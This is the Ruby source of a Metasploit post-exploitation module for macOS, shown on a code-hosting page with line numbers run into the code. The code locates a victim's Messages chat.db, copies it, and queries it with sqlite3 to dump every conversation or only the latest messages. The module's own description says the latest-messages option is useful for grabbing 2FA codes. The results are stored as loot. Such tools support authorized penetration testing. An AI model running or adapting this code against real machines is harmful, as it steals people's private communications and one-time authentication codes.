Path: blob/master/modules/post/osx/gather/enum_messages.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Messages',14'Description' => %q{15This module will collect the Messages sqlite3 database files and chat logs16from the victim's machine. There are four actions you may choose: DBFILE,17READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and18LATEST will retrieve the last X number of messages (useful with 2FA). Module19was tested with OS X 10.11 (El Capitan).20},21'License' => MSF_LICENSE,22'Author' => ['Geckom <geckom[at]redteamr.com>'],23'Platform' => ['osx'],24'SessionTypes' => ['meterpreter', 'shell'],25'Actions' => [26['DBFILE', { 'Description' => 'Collect Messages DB file' }],27['READABLE', { 'Description' => 'Collect Messages DB and download in a readable format' }],28['LATEST', { 'Description' => 'Collect the latest message' }],29['ALL', { 'Description' => 'Collect all Messages data' }]30],31'DefaultAction' => 'ALL',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options(41[42OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),43OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])44]45)46end4748def run49user = datastore['USER'] || cmd_exec('/usr/bin/whoami')5051# Check file exists52messages_path = "/Users/#{user}/Library/Messages/chat.db"5354unless file_exist?(messages_path)55fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")56end5758print_good("#{peer} - Messages DB found: #{messages_path}")5960files = []6162# Download file63files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i64files << readable(messages_path) if action.name =~ /ALL|READABLE/i65files << latest(messages_path) if action.name =~ /ALL|LATEST/i6667save(files)68end6970#71# Collect messages db file.72#73def get_db(messages_path)74print_status("#{peer} - Looting #{messages_path} database")75message_data = read_file(messages_path)76{ filename: 'messages.db', mime: 'bin', data: message_data }77end7879#80# Generate a readable version of the messages DB81#82def readable(messages_path)83print_status("#{peer} - Generating readable format")84sql = [85'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',86'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',87'usr.id || ": " || m.text, a.filename',88'FROM chat as c',89'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',90'INNER JOIN message AS m ON m.ROWID = cm.message_id',91'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',92'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',93'INNER JOIN handle usr ON m.handle_id = usr.ROWID',94'ORDER BY m.date;'95]96sql = sql.join(' ')97readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")98{ filename: 'messages.txt', mime: 'text/plain', data: readable_data }99end100101#102# Generate a latest messages in readable format from the messages DB103#104def latest(messages_path)105print_status("#{peer} - Retrieving latest messages")106sql = [107'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',108'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',109'usr.id || ": " || m.text, a.filename',110'FROM chat as c',111'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',112'INNER JOIN message AS m ON m.ROWID = cm.message_id',113'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',114'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',115'INNER JOIN handle usr ON m.handle_id = usr.ROWID',116"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"117]118sql = sql.join(' ')119latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")120print_good("#{peer} - Latest messages: \n#{latest_data}")121{ filename: 'latest.txt', mime: 'text/plain', data: latest_data }122end123124#125# Do a store_root on all the data collected.126#127def save(data)128data.each do |e|129e[:filename] = e[:filename].gsub(/\\ /, '_')130p = store_loot(131e[:filename],132e[:mime],133session,134e[:data],135e[:filename]136)137138print_good("#{peer} - #{e[:filename]} stored as: #{p}")139end140end141end142143144